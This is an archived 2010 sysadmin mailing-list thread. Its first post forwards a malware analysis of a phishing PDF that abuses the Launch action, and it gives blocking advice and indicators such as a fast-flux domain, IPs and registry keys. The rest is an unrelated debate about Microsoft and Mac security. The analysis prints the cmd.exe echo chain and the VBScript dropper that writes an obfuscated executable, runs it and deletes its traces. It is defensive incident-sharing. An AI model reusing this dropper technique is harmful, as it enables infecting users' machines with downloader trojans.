Gang there is another PDF exploit going on that may or may not be hitting your
places: Credit to Secureworks (tm) for the writeup below.
See below:
Ideals: Set up a zone in your DNS called jademason.com and set it to answer to
127.0.0.1, and clear the cache on your DNS servers accordingly. Which should
blackhole the zone.
Note this is a fast-flux domain, as you can see from the different dns returns
on nslookup.
Also scan all your PDF files, some of the major AV vendors are picking this up
and its packed exploit.
> jademason.com
Server: xx.xx.xx.xx
Address: xx.xx.xx.xx
Non-authoritative answer:
Name: jademason.com
Addresses: 190.184.91.252
89.76.186.112
178.24.184.230
190.165.141.141
190.160.133.173
89.103.178.41
78.90.2.123
89.74.43.46
About 5 mins later:
Non-authoritative answer:
Name: jademason.com
Addresses: 201.174.208.101
89.135.159.78
94.246.125.4
190.184.91.252
201.241.102.230
89.74.43.46
92.230.71.40
201.132.99.207
From: [email protected]
[mailto:[email protected]]
Sent: Tuesday, April 27, 2010 7:47 AM
To: [email protected]
Subject: setting for your mailbox are changed
SMTP and POP3 servers for [email protected] mailbox are changed.
Please carefully read the attached instructions before updating settings.
It contained a file called "doc.pdf". That file was, of course, malicious in
nature. It used the PDF Launch vulnerability to run echo some commands into a
bat file and then bootstrap itself to running the Emold downloader trojan.
Let's take a look.
8 0 obj
<<
/Type /Action
/S /Launch
/Win
<<
/F (cmd.exe)
/P (/c echo Set fso=CreateObject("Scripting.FileSystemObject")
> script.vbs && echo Set f=fso.OpenTextFile("doc.pdf", 1, True)
>> script.vbs && echo pf=f.ReadAll
>> script.vbs && echo s=InStr(pf,"'SS")
>> script.vbs && echo e=InStr(pf,"'EE")
>> script.vbs && echo s=Mid(pf,s,e-s)
>> script.vbs && echo Set z=fso.OpenTextFile("batscript.vbs", 2, True)
>> script.vbs && echo s = Replace(s,"%","")
>> script.vbs && echo z.Write(s)
>> script.vbs && script.vbs && batscript.vbs This uses cmd.exe to write some
lines of text to a file called script.vbs and then executes script.vbs and
batscript.vbs.
Let's look at how script.vbs ends up:
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.OpenTextFile("doc.pdf", 1, True) echo pf=f.ReadAll echo
s=InStr(pf,"'SS") echo e=InStr(pf,"'EE")
s=Mid(pf,s,e-s)
Set z=fso.OpenTextFile("batscript.vbs", 2, True) s = Replace(s,"%","")
z.Write(s)
When Script.vbs runs, it opens doc.pdf and looks for the tags "SS" and "EE" to
mark the beginning and end of a section of the pdf. It grabs that section, does
a little bit of text manipulation and then writes the result to batscript.vbs.
Next let's look what's in that tagged section of doc.pdf (that ends up
batscript.vbs):
5 0 obj
<< /Length 46 >>
stream
BT
/F1 34 Tf
50 500 Td
(Important Information
doc.pdf)Tj
%'SS
%Dim b
%Function c(d)
%c=chr(d)
%End Function
%b=Array(c(077),c(090),c(144),c(000),c(003),c(000),c(000),c(000),
c(004),c(000),c(000)...
...this line is 248413 characters long...
...c(000),c(000),c(000),c(000 ),"")
%Set fso = CreateObject("Scripting.FileSystemObject")
%Set f = fso.OpenTextFile("game.exe", 2, True) %For i = 0 To 35328
%f.write(b(i))
%Next
%f.close()
%Set WshShell = WScript.CreateObject("WScript.Shell")
%WshShell.Run "cmd.exe /c game.exe"
%WScript.Sleep 3000
%Set f = FSO.GetFile("game.exe")
%f.Delete
%Set f = FSO.GetFile("batscript.vbs")
%f.Delete
%Set f = FSO.GetFile("script.vbs")
%f.Delete
%'EE
endstream
We can now see that the array stored in b is actually an obfuscated executable
file that is stored in game.exe. After running game.exe this script (executed
in batscript.vbs) cleans up after itself by removing game.exe, batscript.vbs,
and script.vbs.
Game.exe is the Elmod trojan. This is a generic downloader which can be used to
install any number of second stage trojans. It can be identified by the
presence of the file C:/Program Files/Microsoft Common/svchost.exe, the
registry key "software\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\explorer.exe", and because it phones home to (currently) jademason.com.
Adobe has said that the Launch functionality is a feature, not a bug. Adobe is
looking into the issue, but has not said what action, if any, they intended to
take to mitigate the danger. Their post on the matter does include directions
for turning off this functionality.
Edward Ziots
CISSP,MCSA,MCP+I,Security +,Network +,CCA
Network Engineer
Lifespan Organization
401-639-3505
[email protected]
-----Original Message-----
From: Stu Sjouwerman [mailto:[email protected]]
Sent: Wednesday, April 28, 2010 4:17 PM
To: NT System Admin Issues
Subject: RE: WTF? Fake AV
Erm, There are 115 known strains (and growing fast) of malware
for the Mac. That's why we are releasing a VIPRE client for the
Mac in Q2. They have sold enough machines to make it attractive
for cyber crime to go after. All security models will break as
per the principle of the 'bigger hammer'.
Warm regards,
Stu Sjouwerman
Co-Founder, Publisher, Sunbelt Media
P: +1-727-562-0101 ext 218
F: +1-727-562-5199
[email protected]
-----Original Message-----
From: Steven M. Caesare [mailto:[email protected]]
Sent: Wednesday, April 28, 2010 4:10 PM
To: NT System Admin Issues
Subject: RE: WTF? Fake AV
And you are making the (rather dramatic, IMO) over generalization that
Microsoft simply tells app vendors what to do and expects them to move
at the drop of a hat.
The reality is that MS has typically bent over backwards to ensure
backwards compatibility (to a fault you may argue) for applications
wherever possible. That has been one of the tenets of their OS design
since Windows had DOS boxes.
They have compatibility flags within the OS to special case specific
apps and installers. They has wow32 and wow64. They did FX!32 on Alpha.
They've supported old versions of API's along with new versions. They
allow unsigned hardware even though the new model requires signed
hardware. Etc, etc...
Heck, up until Vista you could still run something from 20 yr old DOS..
Now would they LIKE apps vendors to comply with new direction day1? Yes.
Do they all? No. So there is much notification, suggestion, development
guidelines, DevCons, etc... to shepherd app vendors the right direction.
Your "MS simply flips a switch and expects devs to comply" sentiment is
an inaccurate oversimplification.
-sc
> -----Original Message-----
> From: Ben Scott [mailto:[email protected]]
> Sent: Wednesday, April 28, 2010 3:57 PM
> To: NT System Admin Issues
> Subject: Re: WTF? Fake AV
>
> On Wed, Apr 28, 2010 at 12:53 PM, Steven M. Caesare
> <[email protected]> wrote:
> > A) hardware driver models are a somewhat different beast, and that's
> > held true for many a platform, and isn't really germane to what we
are
> > discussing here.
>
> The only point I was making (and the one you're determined to
ignore, it
> appears): Microsoft routinely throws their weight around to tell the
rest of
> the industry to change to Microsoft's new way of doing things.
Microsoft
> elected not to do that with security.
>
> The question was asked (paraphrased): "Why did it take Microsoft so
long to
> do anything about security?" I answered that question. No less, no
more.
> You're the one who keeps trying to drag the question off into the
weeds.
>
> Of course, an equally valid question would be, "Why did it take
Apple so
> long to do anything about security?" But that wasn't the question I
was
> addressing.
>
> > Using AV infection #'s to compare those things and draw the
conclusion
> > he did is no accurate, IMO.
>
> That I would agree with.
>
> -- Ben
>
> ~ Finally, powerful endpoint security that ISN'T a resource hog! ~ ~
> <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~
~ Finally, powerful endpoint security that ISN'T a resource hog! ~
~ <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~
~ Finally, powerful endpoint security that ISN'T a resource hog! ~
~ <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~
~ Finally, powerful endpoint security that ISN'T a resource hog! ~
~ <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~
